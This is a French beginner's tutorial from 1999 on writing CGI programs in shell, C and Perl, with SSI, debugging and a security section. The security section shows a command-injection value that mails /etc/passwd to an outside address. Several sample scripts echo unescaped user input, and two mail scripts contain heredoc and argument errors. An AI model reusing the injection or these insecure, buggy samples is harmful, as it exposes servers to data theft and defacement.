Introduction au CGI (Common Gateway Interface)

 v1.0, Septembre 1999.

Ce document fournit des informations de base sur la programmation de CGI. Il est fait pour être lu tout en ayant un clavier près de soi.

Table des matières

1 Informations sur ce document

1.1 Auteur et Copyright

1.2 Améliorations de ce document

Si vous souhaitez améliorer ce document en y ajoutant des paragraphes ou tout simplement des corrections judicieuses, vous pouvez m'envoyer un mail (*tyndiuk@ftls.org*) en m'indiquant les modifications à apporter.

1.3 Remerciements

Merci à toutes les personnes ayant apportées leurs critiques constructives sur ce document qui m'ont permis de l'améliorer...

1.4 Nouvelles versions

Toutes nouvelles versions de ce documents ainsi que d'autres sont / seront disponibles prioritèrement sur le site de l'auteur : *http ://www.ftls.org/*.

2 Introduction

La Common Gateway Interface (CGI) est une norme définissant l'interfaçage d'applications externes avec des serveurs d'information. Ici nous parlerons de l'interfaçage avec un Serveur HTTP (Serveur Web)

2.1 Pourquoi utiliser les CGI ?

Lorsqu'un document HTML est envoyé sur le Web, il s'agit d'un fichier texte statique dont l'information ne change pas tant que vous ne l'avez pas réédité. Grâce au CGI, vous pouvez faire modifier cette page dynamiquement. Le CGI permet d'afficher un résultat dans la mesure où ce programme est exécuté en temps réel, au moment où le client fait une requête au serveur.

2.2 Prérequis et choix techniques

Dans ce document, je suppose connues les bases du langage HTML. Pour l'écriture des programmes, la connaissance d'un langage de programmation plus ou moins évolué est bien entendu nécessaire (par exemple, C, Perl). Nous supposons un serveur Web tournant sur une machine Linux, avec comme serveur HTTP Apache...

3 Spécification

Etant donné qu'un programme CGI est un exécutable, son utilisation correspond quasiment à laisser n'importe qui exécuter un programme sur votre ordinateur... Il faut donc prendre quelques précautions au niveau de la sécurité...
C'est pour cela que la plupart des serveurs publics n'offrent pas cette possibilité...

Les fichiers sont généralement placés dans un répertoire spécifique nommé /**cgi-bin**/. Tout fichier dans ce répertoire est considéré comme un exécutable. De fait lorsque le serveur HTTP reçoit une requête du type http ://www.votredomaine.com/cgi-bin/fichier.cgi, le fichier sera exécuté, et ce sera le résultat qui sera renvoyé à l'utilisateur...

Il est à noter que le fichier doit posséder les permissions d'exécution pour tous, en particulier si vous êtes sur un serveur Unix...

Un programme CGI peut être écrit dans n'importe quel langage de programmation disponible tant qu'il est disponible sur votre système. Les seules conditions sont que le langage puisse lire sur l'entrée standard, écrire sur la sortie standard et accéder aux variables d'environnement.

La plupart du temps, les scripts sont fait en Perl. Mais vous pouvez aussi utiliser :
C et C++, Python, Fortran, TCL, sh, csh, ksh ou n'importe quel autre shell UNIX, Visual Basic (sous Windows), AppleScript (sur Macintosh)...

4 Premiers Programmes :

Voici quelques exemples de programmes CGI extrêmement simples écrits en différent langage qui produisent un document HTML contenant "Salut à tous voici mon premier script CGI".

4.1 En Shell :

```
#!/bin/sh

cat << EndFile
Content-type: text/html

<HTML>
<HEAD><TITLE>Mon premier script CGI</TITLE></HEAD>
<BODY BGCOLOR="#FFFFFF">
<BR><BR><BR><BR>
<CENTER>
<H1>Salut &agrave; tous<p>voici mon premier script CGI</H1>
</CENTER>
</BODY>
</HTML>

EndFile
```

4.2 En C :

```
#include <stdio.h>

main()
{
        printf("Content-type: text/html\n\n");
        printf("<HEAD><TITLE>Mon premier script CGI</TITLE></HEAD>\n");
        printf("<BODY BGCOLOR=\"#FFFFFF\">\n");
        printf("<BR><BR><BR><BR>\n");
        printf("<CENTER>\n");
        printf("<H1>Salut &agrave; tous<p>voici mon premier script CGI</H1>\n");
        printf("</CENTER>\n");
        printf("</BODY>\n");
        printf("</HTML>\n");
}
```

4.3 En Perl :

```
#!/usr/bin/perl

print "Content-type: text/html\n\n";

print <<EOF;
```

```
<HEAD><TITLE>Mon premier script CGI</TITLE></HEAD>
<BODY BGCOLOR=\"#FFFFFF\">
<BR><BR><BR><BR>
<CENTER>
<H1>Salut &agrave; tous<p>voici mon premier script CGI</H1>
</CENTER>
</BODY>
</HTML>
EOF
```

4.4 Installation CGI sur le serveur

Une fois le programme entré (et compiler pour l'exemple en C), vous devez le copier dans votre répertoire des CGI, le rendre exécutable en changeant ces permissions (chmod 555 salut.cgi), puis tester...
Vous devez obtenir :
Salut à tous voici mon premier script CGI

5 Les entrées sorties

La communication en entrée peut se faire via des variables d'environnement ou directement via l'entrée standard (STDIN), La sortie se fait via la sortie standard (STDOUT) sur laquelle on envoie les informations à afficher sous forme identifiée. Nous y reviendrons à la fin de cette section.

Voici une liste d'un certain nombre de 'variables d'environnement' accessibles par un programme CGI.

5.1 Variables d'environnement

5.1.1 Variables relatives à la requête

CONTENT_LENGTH :
Taille en octets du contenu des informations jointes à la requête en mode PUT ou POST, vide si on utilise la méthode GET.

CONTENT_TYPE :
Type MIME des données envoyées au programme CGI appelé par la méthode POST, vide si on utilise la méthode GET.

QUERY_STRING :
Chaîne de caractères au format URL contenant les paramètres joints à la requête GET. Contient les données d'entrée du programme précédé du caractère '?'. Elle est vide si on utilise la méthode POST, a moins qu'il y ait déjà quelque chose derrière l'URL du script.

REQUEST_METHOD :
Contient la méthode utilisée pour la requête (GET, POST, HEAD, PUT, DELETE, LINK), sert pour déterminer la méthode utilisée pour traiter les données.

5.1.2 Variables relatives à la connexion client-serveur

On appelle client HTTP, le programme utilisateur qui fait la requête, en général c'est un nanigateur.

HTTP_ACCEPT :
Les différents types MIME supportés par le client HTTP (Format : type/soustype).

HTTP_ACCEPT_LANGUAGE :
Langage utilisé par le client HTTP.

HTTP_ACCEPT_ENCODING :
Type d'encodage supporté par le client HTTP.

HTTP_ACCEPT_CHARSET :
Table de caractères supportée par le client HTTP.

HTTP_COOKIE :
Liste des 'Cookies' associés par le client HTTP à la ressource consultée.

HTTP_USER_AGENT :
Signature du client HTTP effectuant la requête (Format : software/version ou library/version).

HTTP_REFERER :
URL de la ressource ayant renvoyé le client HTTP sur la requête en cours.

REMOTE_ADDR :
Adresse IP de l'ordinateur client effectuant la requête. Cette variable permet de repérer, d'identifier des ordinateurs et d'effectuer quelque chose en conséquence (empêcher l'accès, donner des droits supplémentaires par exemple).

REMOTE_HOST :
Adresse DNS (nom de domaine) de l'ordinateur client effectuant la requête. Cette variable est très utilisée pour afficher des publicités en rapport avec le pays d'origine par exemple.

REMOTE_USER :
Identifiant de l'utilisateur du client, lorsque le mode d'authentification de la ressource est actif.

AUTH_TYPE :
Si le serveur supporte l'authentification et que le script est protégé, indique le protocole utilisé pour valider l'identité.

REMOTE_PORT :
Port utilisé par le client HTTP pour cette connexion. Souvent absente

5.1.3 Variables relatives au serveur :

DOCUMENT_ROOT :
Nom du répertoire physique contenant la racine du serveur consulté sur la machine.

GATEWAY_INTERFACE :
La version du standard CGI supportée par le serveur HTTP (Format : CGI/révision).

HTTP_HOST ou SERVER_NAME :
Adresse IP ou DNS de la machine hébergeant le serveur HTTP.

SERVER_ADMIN :
Adresse e-mail déclarée par l'administrateur du serveur.

SCRIPT_NAME :
URL du chemin d'accès au script CGI.

SCRIPT_FILENAME :
Nom et chemin d'accès complet au CGI sur le disque du serveur consulté.

SERVER_PORT :
Port sur lequel le serveur a réceptionné la requête

SERVER_PROTOCOL :
Nom et version du protocole utilisé par le serveur HTTP (Format : protocol/révision).

SERVER_SOFTWARE

Nom et version du logiciel serveur HTTP utilisé. (Format nom/version)

TZ :

Nom de la 'Time Zone' définie sur la machine du serveur HTTP.

5.2 Les entrées sorties standards

5.2.1 L'entrée standard

On appel méthode la façon de passer les informations du serveur au programme CGI. Elles définissent la façon dont le programme reçoit les données.

Il faut différencier 2 méthodes :

La méthode GET :

Quand on utilise cette méthode, le programme reçoit les données dans la variable d'environnement QUERY_STRING. La méthode GET ne peut être utilisée que si les données d'entrées ne sont pas trop importantes, ni confidentielle car cette méthodes passe les arguments dans l'URL donc visible, de plus la longueur d'une URL est est limitée à 1024 caractères.

La méthode POST :

Quand on utilise cette méthode, les données à traiter sont transmises via l'entrée standard (STDIN). Le serveur n'indiquant pas la fin de la chaîne avec un caractère spécial, il faut utiliser la variable d'environnement CONTENT_LENGTH pour connaître la longueur des données.

Dans les 2 cas les données sont transmises sous forme URL-encoded ; c'est-à-dire que les espaces sont remplacés par des signes +, les tildes ( ) sont remplacés par %7E et ainsi de suite...

5.2.2 La sortie standard

Le programme CGI envoie les résultats vers la sortie standard (STDOUT soit l'écran en général). Ils peuvent être envoyés directement vers le client HTTP ou être interprétés par le serveur qui va effectuer une nouvelle action.

Dans les résultats renvoyés, le serveur cherche un des 3 en-têtes que le programme peut retourner :

Content-type :

Indique le type MIME des données. Généralement comme les programmes CGI renvoient de l'HTML, la ligne utilisée est *Content-type : text/html\n\n*. Attention à bien mettre les 2 nouvelles lignes (\n)

Location :

Indique au serveur que l'on fait référence à un autre document. Utilisé pour faure des redirections.

Status :

C'est le code d'état renvoyé par le serveur au client. Format : nnn XXXXXXX où nnn est un nombre à 3 chiffres et XXXXXX le texte qui y correspond. Exemple : 404 Not found.

5.3 Récupération des informations

Nous venons de voir la théorie, maintenant voici des exemples concrets. Même si ces exemples sont simples, la méthode est applicable à partout.

Pour vous eviter de recopier ces programmes, chargez-les :
http ://www.ftls.org/fr/initiation/cgi/exemples.tar.gz.

5.3.1 Les formulaires

Méthode GET

```
<FORM ACTION="/cgi-bin/monscript.cgi" METHOD="GET"><BR>
Name : <INPUT TYPE="text" NAME="Name"><BR>
E-Mail : <INPUT TYPE="text" NAME="Mail"><BR>
<INPUT TYPE="submit" Value=" Test "><BR>
</FORM>
```

Méthode POST

```
<FORM ACTION="/cgi-bin/monscript.cgi" METHOD="POST"><BR>
Name : <INPUT TYPE="text" NAME="Name"><BR>
E-Mail : <INPUT TYPE="text" NAME="Mail"><BR>
<INPUT TYPE="submit" Value=" Test "><BR>
</FORM>
```

5.3.2 En Shell

```
#!/bin/sh
#

if [ "$REQUEST_METHOD" = "POST" ]; then
        read QUERY_STRING
        RECU="STDIN (Methode POST)"
else
        RECU="QUERY_STRING (Methode GET)"
fi

# On remplace les & par des ' ', decoupe la chaine de donnees en des paires name=value
OPTS=`echo $QUERY_STRING | sed 's/&/ /g'`

echo "Content-type: text/html"
echo ""
echo "<HTML><HEAD><TITLE>Resultat</TITLE></HEAD>"
echo "<BODY BGCOLOR=\"#FFFFFF\">"

echo "<H1>Resultat du traitement du formulaire</H1>"
echo "<H2>Chaine de donnees recue par le CGI</H2>"
echo "$RECU <B>$QUERY_STRING</B>"

echo "<H2>Liste des informations decodees</H2>"

# Recuperation et mise en forme des donnees
echo "<UL>"

for opt in $OPTS
do
        NAME=`echo $opt
                | sed 's/=/ /g'
                | awk '{print $1}'`
        VALUE=`echo $opt
                | sed 's/=/ /g'
                | awk '{print $2}'
                |  sed 's,%,\\\x,g'
```

```
                | sed 's/+/ /g'`
        echo "<LI><B>$NAME: </B>$VALUE"
done

echo "</UL>"
echo "</BODY></HTML>"
```

5.3.3 En C

On remarque dans cette exemple que l'on utilise la fonction 'getenv("Nom Variable")' pour récupérer les variables d'environnements. En C le traitement des chaînes de caractères étant moins aisé l'ajout de cette partie alourdirait considérablement l'exemple pour rien. Il est à noter qu'il existe une bibliothèque 'cgi-util' permettant de simplifier considérablement la récupération des informations, voir second exemple.

```
#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
        int c;

        printf("Content-type: text/html\n\n");
        printf("<HTML><HEAD><TITLE>Resultat</TITLE></HEAD>\n");
        printf("<BODY BGCOLOR=\"#FFFFFF\">\n");
        printf("<H1>Resultat du traitement du formulaire</H1>\n");
        printf("<H2>Chaine de donnees recue par le CGI</H2>");

        /* verification des variables d'environnement */
        if (strcmp (getenv("REQUEST_METHOD"),"POST") == 0) {
                printf("STDIN (Methode POST) <B>");

                while((c=getchar()) != EOF) {
                        printf("%c" ,c);
                }
                printf("</B>");
        }

        if (strcmp(getenv("REQUEST_METHOD"),"GET") == 0) {
                printf("QUERY_STRING (Methode GET) <B>%s</B>",
                        getenv("QUERY_STRING"));
        }

        printf("<H2>Liste des informations decodees</H2>");
        printf("Non traitee dans cet exemple...");
        printf("</BODY></HTML>\n");
}
```

En utilisant la bibliothèque 'cgi-util'.

```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "cgi-util.h"

#define STRLEN  1024
```

```
main(int argc, char *argv[])
{
        char name[STRLEN];
        char mail[STRLEN];

        printf("Content-type: text/html\n\n");
        printf("<HTML><HEAD><TITLE>Resultat</TITLE></HEAD>\n");
        printf("<BODY BGCOLOR=\"#FFFFFF\">\n");
        printf("<H1>Resultat du traitement du formulaire</H1>\n");
        printf("<H2>Chaine de donnees recue par le CGI</H2>");
        printf("Non traitee dans cet exemple...");

        /* Initialise CGI */
        cgiinit();

        /* Recuperation des informations */
        getentry(name, "Name");
        getentry(mail, "Mail");

        printf("<H2>Liste des informations decodees</H2>");
        printf("<UL><LI>Name : %s", name);
        printf("<LI><B>E-Mail: </B>%s</UL>", mail);
        printf("</BODY></HTML>\n");
}
```

5.3.4 En Perl

On remarque dans cette exemple que les valeurs sont stockées dans le tableau associatif '%ENV', on utilise '$ENV{"Nom Variable"}' pour récupérer la variable d'environnement. Il est à noter qu'il existe des bibliothèques 'cgi-lib' permettant de simplifier considérablement la récupération des informations, voir second exemple.

```
#!/usr/bin/perl

# Recuperation des informations

if  ($ENV{'REQUEST_METHOD'} eq "POST" ) {
        read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
        $Recu="STDIN (Methode POST)" }
else {
        $Recu="QUERY_STRING (Methode GET)";
        $buffer = $ENV{'QUERY_STRING'};
}
# Traitement et decoupage.
        @pairs = split(/&/, $buffer);
        foreach $pair (@pairs) {
                ($name, $value) = split(/=/, $pair);
                $value =~ tr/+/ /;
                $value =~ s/%(..)/pack("C", hex($1))/eg;
                $FORM{$name} = $value;
}

print "Content-type: text/html\n\n";
```

```
print "<HTML><HEAD><TITLE>Resultat</TITLE></HEAD>\n";
print "<BODY BGCOLOR=\"#FFFFFF\">\n";

print "<H1>Resultat du traitement du formulaire</H1>\n";
print "<H2>Chaine de donnees recue par le CGI</H2>\n";
print "$Recu <B>$buffer</B>\n";

print "<H2>Liste des informations decodees</H2>\n";
print "<UL>\n";

foreach $match (keys (%FORM)) {
        print "<LI><B>$match: </B>".$FORM{$match};
}

print "</UL>\n";
print "</BODY></HTML>\n";
```

En utilisant la bibliothèque 'cgi-lib'.

```
#!/usr/bin/perl

require "cgi-lib.pl";

# Recuperation des informations
&ReadParse(*FORM);

print "Content-type: text/html\n\n";
print "<HTML><HEAD><TITLE>Resultat</TITLE></HEAD>\n";
print "<BODY BGCOLOR=\"#FFFFFF\">\n";

print "<H1>Resultat du traitement du formulaire</H1>\n";
print "<H2>Chaine de donnees recue par le CGI</H2>\n";
print "Non traitee dans cet exemple...\n";

print "<H2>Liste des informations decodees</H2>\n";
print "<UL>\n";

foreach $match (keys (%FORM)) {
        print "<LI><B>$match: </B>".$FORM{$match};
}

print "</UL>\n";
print "</BODY></HTML>\n";
```

En utilisant le module CGI.

```
#!/usr/bin/perl -w

use CGI;
use strict;

# Creation de l'objet CGI
my $query_cgi = new CGI;

print $query_cgi->header; # "Content-type: text/html\n\n";
print $query_cgi->start_html(
```

```
                -title   => 'Resultat',
                -bgcolor => '#FFFFFF');

print $query_cgi->h1('Resultat du traitement du formulaire');
print $query_cgi->h2('Chaine de donnees recue par le CGI');
print "Non traitee dans cet exemple...\n";

print $query_cgi->h2('Liste des informations decodees<');
print "<UL>\n";

foreach ($query_cgi->param) {
        print "<LI><B>$_:</B> ".$query_cgi->param($_);
}

print "</UL>\n";
print $query_cgi->end_html;
```

6 Les Server Side Includes

Nous avons vu précédemment les différentes façons d'appeler un CGI :
via son URL, via une balise HTML comme <A HREF="URL">, <IMG SRC="URL"> ou <FORM ACTION="URL">.

Dans ces conditions, il est donc impossible de faire un CGI qui insère des informations directement dans une page HTML statique (sauf pour une image).

Les Server Side Includes (SSI) ou Server Parsed HTML apportent cette. En effet, un SSI fait directement appel à un CGI, au coeur d'une page HTML et affiche sont résultat à la l'endroit de l'appel. Pour ce faire, on insère des commandes spécifiques dans des commentaires HTML (<!– –>) et on renomme la page HTML avec l'extension .shtml.

Ainsi si l'option est activée sur le serveur, à chaque fois que le serveur rencontre une page l'extension .shtml, il va analyser son contenu afin de rechercher et exécuter les éventuelles commandes SSI qui s'y trouvent. Bien sûr, ce mécanisme entraîne naturellement une légère surcharge de travail pour le serveur.

6.1 Quelques commandes SSI

Afin d'appeler une commande SSI il faut insérer un code du type suivant dans le corps de votre page HTML à l'endroit ou vous désirez que le résultat s'affiche.

<!–#commande arg1=val1 arg2=val2 ... –>

Les principales commandes reconnues sont :

config :

Permet de définir un certain nombre de paramètres relatifs à l'utilisation des SSI, comme le format date /heure ('timefmt') ou le format taille des fichiers ('sizefmt') renvoyées par d'autres commandes. L'argument a pour valeur une chaîne de format entre guillemets ("") pouvant contenir un certain nombre de codes de champs précédés du caractère "%".
Exemple :
<!–#config timefmt="%d/%m/%y %H :%M :%S"–> définit le format de date tel que : 12/01/97 16 :02 :43.

echo :

Affiche la valeur d'une variables d'environnement spécifiée et reconnues par les SSI, à savoir : DATE_GMT (date courante GMT), DATE_LOCAL (date locale), DOCUMENT_NAME (nom du fichier HTML courant), DOCUMENT_URI (le chemin d'accès au document courant) et LAST_MODIFIED (date de dernière modification de la page).
Exemple :
<!–#echo var="LAST_MODIFIED"–>

exec :

Permet d'exécuter soit un programme CGI (cgi="/cgi-bin/nom_cgi.cgi"), soit une commande quelconque du système (cmd="commande"), la sortie étant insérée à l'emplacement où exec a été appelé. Il est a noté qu'en cas d'exécution d'un CGI, les arguments passé au programmes sont ceux de la page shtml.
Exemple :
<!–#exec cmd="date"–> affiche la date système.

fsize :

Renvoie la taille d'un fichier dont le chemin est indiqué via l'argument file ou virtual (suivant que le chemin est exprimé par rapport au répertoire / du serveur ou non).
Exemple :
<!–#fsize file="index.html"–> renvoie la taille du fichier index.html du répertoire courant.

flastmod :

Indique la date de dernière modification d'un fichier. Cette commande admet les mêmes arguments que la commande précédente.
Exemple :
<!–#flastmod file="index.html"–> renvoie la date de dernière modification du fichier index.html du répertoire courant.

include :

Permet d'insérer le contenu d'un fichier (file="min_fichier") dont on indique le chemin avec les mêmes arguments que pour les deux dernières commandes. Ou le résultat de l'exécution d'un programme (virtual="/cgi-bin/nom_cgi.cgi") Il est a noté qu'en cas d'exécution d'un CGI, les arguments passé au programme sont ceux le la commande.
Exemple :
<!–#include file="index.html"–> affiche le contenu du fichier index.html du répertoire courant.
<!–#include virtuel="/cgi-bin/nom_cgi.cgi ?mes_rags"–> affiche le résultat de l'exécution du CGI.

Il existe d'autre commandes, en particulier certaine permettant d'exécuter des conditions, pour cela il est préférable de consulter la documentation du serveur web.

Exemple :
Cette exemple très simple mais particulièrement utile permet afficher automatique la date de dernière modification d'un fichier HTML. Bien sur, vous devez enregistrer ce fichier avec l'extension .shtml .

Dans cet exemple, on définit tout d'abord le format d'affichage des dates dans le reste du documents, puis on insère la date de dernière modification du fichier considéré, grâce à la variable d'environnement LAST_MODIFIED.

```
<HTML>
<HEAD><TITLE>Exemple d'utilisation des SSI</TITLE></HEAD>
<BODY>
...
Date de derniere modification :
<!--#config timefmt="%d/%m/%y %H:%M:%S"-->>
<!--#echo var="LAST_MODIFIED"-->
</BODY>
</HTML>
```

6.2 Sécurité et SSI

La commande exec ou virtual permet d'exécuter n'importe quelle commande présente sur le serveur. Il y a donc d'importants risques en matière de sécurité au même titre que les programmes CGI. C'est pour cela que la plupart des hébergeurs publics désactivent ces options...

7 Debugger un script CGI

Vous venez de terminer la lecture de ce document, d'écrire un script CGI et là lorsque vous lancer votre navigateur pour faire un test, vous voyez apparaître à la place de la sortie attendue de votre programme : *"Error 500 : Internal server error"* qui ne vous explique pas grand chose...

Nous voila donc dans le coeur du problème, le programme étant lancé par le serveur HTTP il n'indique pas pourquoi il y a une erreur. C'est donc à vous de la trouver.

La première chose à vérifier est que lorsque vous exécuter le programme manuellement il ne produise pas d'erreur, (au besoin connectez vous telnet sur le serveur) placez vous dans le répertoire 'cgi-bin' contenant le programme et exécutez le par './mon_cgi.cgi'. S'il produit une erreur, corrigez la et refaite un essais.
Une erreur fréquente si votre CGI est un script est que la première ligne '#!/bin/sh' ou '#!/usr/bin/perl' ne correspond pas à une chemin d'interpréteur valide.

Si l'erreur ne venait pas de là, vérifiez bien que le programme soit exécutable par tous dans le cas d'un programme compilé, et lisible et exécutable par tous dans le cas d'un script. En effet souvent le serveur exécute votre programme sous un nom d'utilisateur différent du votre (nobody). Dans ce cas, faite un petit 'chmod 555 mon_cgi.cgi' .

Si malgré ces points il se produit toujours une erreur, toujours en le lançant manuellement, vérifier bien que le 'Content-type : text/html' soit bien suivit d'une ligne blanche, et qu'il n'y ait rien d'afficher avant. En effet dans le cas contraire le navigateur ne sait pas interpréter le résultat et produit l'erreur.
Cela arrive souvent lorsque l'on utilise une vérification d'arguments ou de validité d'ouverture d'un fichier avant d'afficher le 'Content-type', un conseil le mettre toujours en début de programme, cela permet de voir tous les message de vérification que l'on insère sans risque d'avoir le 'Internal server error'.

Après ces vérification votre programme devrait afficher un résultat, est-ce le résultat escompté ? si oui très bien, sinon vous devez reprendre le source pour chercher l'erreur...

Nota : Il existe en Perl et en C des bibliothèques permettant de vous aider à debugger les CGI. N'hésitez pas à les utiliser, elles peuvent vous faire gagner un temps précieux...

8 Sécurité

L'utilisation de scripts ou programmes CGI amène un certain nombre de questions relatives à la sécurité du système hôte du serveur web considéré. C'est souvent pour cette raison que la plupart des fournisseurs d'accès interdisent leurs utilisations.

Etant donné qu'un programme CGI est un exécutable, son utilisation correspond à laisser n'importe qui exécuter un programme sur votre ordinateur. Même si il est généralement exécuté avec des droits limités (login nobody) il est possible d'avoir accès à certains fichiers sensibles comme par exemple le célèbre /etc/passwd (fichier contenant les mots de passe crypté des utilisateurs). Un CGI mal écrit pourrait permettre à un utilisateur mal intentionné de récupérer ce dit fichier en vue d'y extraire les mots de passe des utilisateurs...

Prenons l'exemple très classique d'un script sous UNIX qui envoie le contenu d'un formulaire par mail, en utilisant le programme sendmail. A un moment du script, on exécute la commande suivante.

sendmail $DESTINATAIRE.

La variable DESTINATAIRE contiendrait l'adresse E-MAIL à laquelle on désire envoyer les données du formulaire. Si la valeur est récupérée via un champ caché du formulaire ont peut aisément récupéré la page contenant le formulaire, l'éditer en local en ajoutant ' ; mail root@x.com </etc/passwd' après l'adresse, ce qui équivaut à lancer la commande suivant : 'sendmail webmaster@abc.com ; mail root@x.com </etc/passwd'. Le script va donc exécuter normalement l'envoi du formulaire à l'adresse prévue. Mais aussi exécuter la commande mail permettant d'envoyer le fameux fichier /etc/passwd à l'adresse indiquée...

Comment ce protéger ce genre de problème ?

Pour ce protéger de ce genre de problème, il suffit tous simplement de vérifier la validité des informations reçues du client avant de faire l'envoie, par exemple une E-Mail ne peut contenir le caractère point-virgule, ni d'espace...

Il faut s'assurerez, qu'un CGI ne puisse pas planter quoi qu'il reçoive d'un client... Un autre exemple classique est d'envoyer plus de données que prévues dans un programme. Un plantage peut en effet remettre en cause l'intégrité du système hôte.

De plus il est possible de vérifier grâce à la variable 'HTTP_REFERER' si la requête vient bien de votre site web et non d'une adresse inconnue...

L'exemple précédent est un cas d'école. Mais dans des scripts CGI plus compliqué, il est plus délicat de repérer des éventuels risques en matière de sécurité. En général, il éviter le plus possible de faire des appels à une commande système (via la fonction system() par exemple), ainsi que d'écrire des script Shell a moins que vous soyez un spécialiste...

Une autre manière de ce protéger et d'éviter que les éventuels utilisateurs mal intentionné puissent accéder à vos sources afin de les étudier et de déceler la présence d'un trou de sécurité...

9 Exemples en Perl

Le Perl étant le langage le plus adapté et le plus simple pour la création de CGI, car il offre l'avantage d'être un script (pas besoin de compilation), un traitement des chaînes de caractères très puissant. C'est pour cela que j'ai choisi de faire les exemples avec.
Si vous désirez de plus amples renseignements sur ce langage, vous trouverez une petite initiation sur *http ://www.ftls.org/fr/initiation/perl/*
Bien entendu l'ensemble de ces scripts peuvent être traduit dans un autre langage...

9.1 Guestbook (livre d'or)

9.1.1 Principe

Le script ajoute à l'emplacement spécifié (par < !– Ajouter Ici–>) d'un fichier les informations entées grâce au formulaire suivant :

```
<FORM METHOD=POST ACTION="/cgi-bin/guestbook.pl">
Nom:<INPUT NAME="name"><BR>
Localitee:<INPUT NAME="location"><BR>
<BR>Commentaires:<BR>
<TEXTAREA NAME="comments">
</TEXTAREA>
<INPUT TYPE="SUBMIT" NAME="Ok">
</FORM>
```

Voici le type de fichier résultat.

```
<HR>
Voici les entree de mon guestbook<BR>
<BR>
Essais, essais...<BR>
<BR>
<B>Frederic TYNDIUK<BR>
Bordeaux, France</B>
<HR>
Un commentaire.<BR>
<BR>
Bye<BR>
<BR>
<B>Frederic TYNDIUK<BR>
Bordeaux, France</B>
```

9.1.2 Le script

```
#!/usr/bin/perl

require "cgi-lib.pl";
&ReadParse(*FORM);
# Recupere les informations provenat du formulaire dans %FORM

# Chemain complet du fichier guestbook
$fichier="/home/httpd/html/guestbook.html";

print "Content-type: text/html\n\n";
print "<HTML><HEAD><TITLE>Merci</TITLE></HEAD>\n";
print "<BODY BGCOLOR='#FFFFFF'><H1>Merci d'avoir ajouter votre commentaire</H1>\n";
print "</BODY></HTML>\n";

# Remplace tous les \n (retours chariots par <BR>
chop($FORM{'comments'});
$FORM{'comments'} =~ s/\n/<BR>\n/g;
$Result = "$FORM{'comments'}
        <B><BR>$FORM{'name'}, $FORM{'location'}</B><BR>
        <!-- Ajouter Ici-->\n";

# Ouvre le fichier
open(GUESTBOOK,"<$fichier") || &CgiDie ("Erreur d'ouverture de $fichier, Erreur: $!");
$data = join("", <GUESTBOOK>);
close GUESTBOOK;

$data =~ s/<!-- Ajouter Ici-->/$Result/;
        # Remplace <!-- Ajouter Ici--> par les informations envoiyee.

# Sauvegarde du resultat
open(GUESTBOOK,">$fichier") || &CgiDie ("Erreur d'ecriture de $fichier, Erreur: $!");
print GUESTBOOK $data;
close GUESTBOOK;
```

Cette exemple est simpliste, vous trouverez une version élaborée sur *http ://www.ftls.org/fr/exemples/cgi/*

9.2 Envoyer un mail

9.2.1 Le Formulaire

```
<FORM METHOD=POST ACTION="/cgi-bin/email.pl">
Name : <INPUT NAME="name"><BR>
Addresse : <INPUT NAME="address"><BR>
Ville <INPUT NAME="city"><BR>
Code Postal <INPUT NAME="zip"><BR>
Tel : <INPUT NAME="phone"><BR>
E-Mail : <INPUT NAME="email"><BR>
<BR>
<INPUT TYPE="SUBMIT" VALUE="Envoyer">
<INPUT TYPE="RESET" VALUE="Effacer">
</FORM>
```

9.2.2 Script 1

```
#!/usr/bin/perl

require "cgi-lib.pl";
&ReadParse(%FORM);
# Recupere les informations provenat du formulaire dans %FORM

# Ouvre un Pipe avec le commande mail (Unix)
open(MAIL,"|/usr/sbin/sendmail username\@host.com")
        || die "Peut pas ouvrir sendmail : $!\n";

# Envoie les informations
print MAIL <<"EOF";
From: Postmaster\@host.com (Administrateur du mail)
To: username\@host.com
Subject: Test Formulaire Mail
Mime-Version: 1.0\nContent-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

Salut,

Ceci est un exemple d'envoie d'E-Mail par formulaire
Voici les informations envoyee :

        Nom:            $FORM{"name"}
        Addresse:       $FORM{"address"}
        Ville:          $FORM{"city"}
        Code Postal:    $FORM{"zip"}
        Tel:            $FORM{"phone"}
    Email:          $FORM{"email"}

EOF
close(MAIL);

print <<"EOF";
Content-type: text/html

<HTML><BODY>
```

```
<H1>Merci $FORM{"name"}.</H1>
<H2>Les informations ont ete envoyee avec suces via E-Mmail</H2>
</BODY></HTML>
EOT
```

9.2.3 Script 2

Perl intègre un certain nombre de module ou package, dont un permettant d'envoyer des Mails voici donc un exemple utilisant le package Mail : :Mailer.

```
#!/usr/bin/perl

use Mail::Mailer; # Utilisation du package Mail::Mailer.

require "cgi-lib.pl";
&ReadParse(%FORM);
# Recupere les informations provenat du formulaire dans %FORM

# Ouvre Mail
$mailer = Mail::Mailer->new();
$mailer->open({ From    => "Postmaster\@host.com",
                To              => "username\@host.com",
                Subject => "Test Formulaire Mail",
                                }) || die "Can't open: $!\n";

# Envoie les informations
print $mailer <<"EOF";

Salut,

Ceci est un exemple d'envoie d'E-Mail par formulaire
Voici les informations envoyee :

        Nom:            $FORM{"name"}
        Addresse:       $FORM{"address"}
        Ville:          $FORM{"city"}
        Code Postal:    $FORM{"zip"}
        Tel:            $FORM{"phone"}
    Email:          $FORM{"email"}

EOF
$mailer->close();

print <<"EOF";
Content-type: text/html

<HTML><BODY>
<H1>Merci $FORM{"name"}.</H1>
<H2>Les informations ont ete envoyee avec suces via E-Mmail</H2>
</BODY></HTML>
EOT
```

9.3 Autres exemples

Dans la section *Exemples : Scripts CGI de mon site*, se trouve près de 15 scripts CGI qui peuvent vous servir d'exemples, de plus il existe une multitudes de site proposant des annuaires de scripts CGI dans lesquels vous trouverez sûrement votre bonheur.

10 Conclusion

Ce document est juste une introduction aux scripts CGI, il ne se veut pas exhaustif, mais j'espère qu'il vous aura fourni les informations que vous recherchiez.

Si vous avez remarqué des erreurs, si vous voulez apporter des corrections ou des rajouts, si vous avez des questions, n'hésitez pas à m'envoyer un petit mot à tyndiuk@ftls.org.

Et maintenant c'est à vous de faire vos scripts CGI...